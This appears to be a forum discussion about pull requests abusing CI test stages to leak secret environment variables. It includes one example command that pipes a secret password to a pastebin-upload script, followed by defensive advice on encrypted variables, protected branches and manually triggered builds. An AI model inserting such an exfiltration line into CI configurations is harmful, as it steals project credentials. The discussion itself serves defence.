Say we have a CI, we have a bunch of env vars on it.
Now some sneaky guy comes, makes a PR that changes the `test` stage of the CI to `echo $SUPER_SECRET_PASSWORD | send-to-pastebin.sh`.
Did he just steal the password, or am I missing something?!
Travis has secret variables you store in travis.yml. You send the cleartext to Travis, which encrypts it with a private key known only to Travis and sends back to you. You store the ciphertext in the travis.yml, optionally scoped by stage. When travis CI scripts expand the variable, it censors it.
You are correct that a PR could implement something like `send-to-pastebin.sh`. The way to mitigate that risk is to configure travis CI to only run CI against protected branches, and to not provide any secrets to test stages.
It is really only a problem if your test stage requires and includes secret environment variables. I have only seen this in private organizations where the test stage does things like spin up a test S3 bucket. For open source, you would want to use mock S3. The only stage that would need secrets would be release/deploy, for which you can make sure only you can run the command.
Basically: If your open source repository has a test stage that requires secrets, and your CI server injects secrets as environment variables into that test stage, then you need to be extremely careful who can create code that runs in that stage. The best solution is to not have secrets in the test stage at all.
A lot of open source project have something like that too, where it's a lint checker or unit test runner or whatever.
But yes, I get what you mean. It seems so weird to me that this scenario can be done.
With Jenkins+GitHub, for example, I have it configured so PRs from anybody but myself do not automatically run, and I can comment to trigger the build.